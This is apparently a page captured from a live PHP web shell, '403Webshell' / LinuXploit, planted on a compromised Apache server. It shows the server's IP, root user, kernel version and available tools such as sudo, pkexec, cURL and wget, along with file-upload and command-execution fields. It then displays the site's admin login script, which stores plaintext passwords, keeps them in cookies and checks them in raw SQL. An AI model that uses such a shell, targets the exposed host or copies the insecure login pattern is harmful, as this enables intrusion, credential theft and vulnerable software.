403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.199
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/myairtripadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/myairtripadmin/login-process.php
<?php 
    session_start();
    include "databaseConnect.php";

    $type = "";
    if(isset($_POST['actionType']) && !empty($_POST['actionType'])){
        $type = $_POST['actionType'];
    }
    if ($type == "loginUser") {
        $userEmail = "";
        if (isset($_POST['userEmail']) && !empty($_POST['userEmail'])) {
            $userEmail = mysqli_real_escape_string($conn, $_POST['userEmail']);
        } else {
            header("location:/?err=2");
            exit();
        }

        $userPassword = "";
        if (isset($_POST['userPassword']) && !empty($_POST['userPassword'])) {
            $userPassword = mysqli_real_escape_string($conn, $_POST['userPassword']);
        } else {
            header("location:/?err=3");
            exit();
        }

        date_default_timezone_set("Asia/Kolkata");
        $currentDateTime = date("Y-m-d H:i:s");

        $checkSql = "SELECT * FROM tblusers WHERE useremail = '$userEmail' AND password = '$userPassword'";
        $result = mysqli_query($conn, $checkSql);

        if (mysqli_num_rows($result) > 0) {
            $row = mysqli_fetch_assoc($result);
            $_SESSION['userid'] = $row['userid'];
            $_SESSION['username'] = $row['username'];
            $_SESSION['userEmail'] = $row['useremail'];

            if (isset($_POST['rememberMeCheck']) && $_POST['rememberMeCheck'] == 'on') {
                setcookie('userEmail', $userEmail, time() + (60 * 60 * 24));
                setcookie('userPassword', $userPassword, time() + (60 * 60 * 24));
            }

            $update = "UPDATE tblusers SET last_login_datetime = '$currentDateTime' WHERE userid = " . $row['userid'];
            mysqli_query($conn, $update);
            header('location:admin.php');
        } else {
            header("location: /?err=4");
            exit();
        }
        mysqli_free_result($result);
    }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit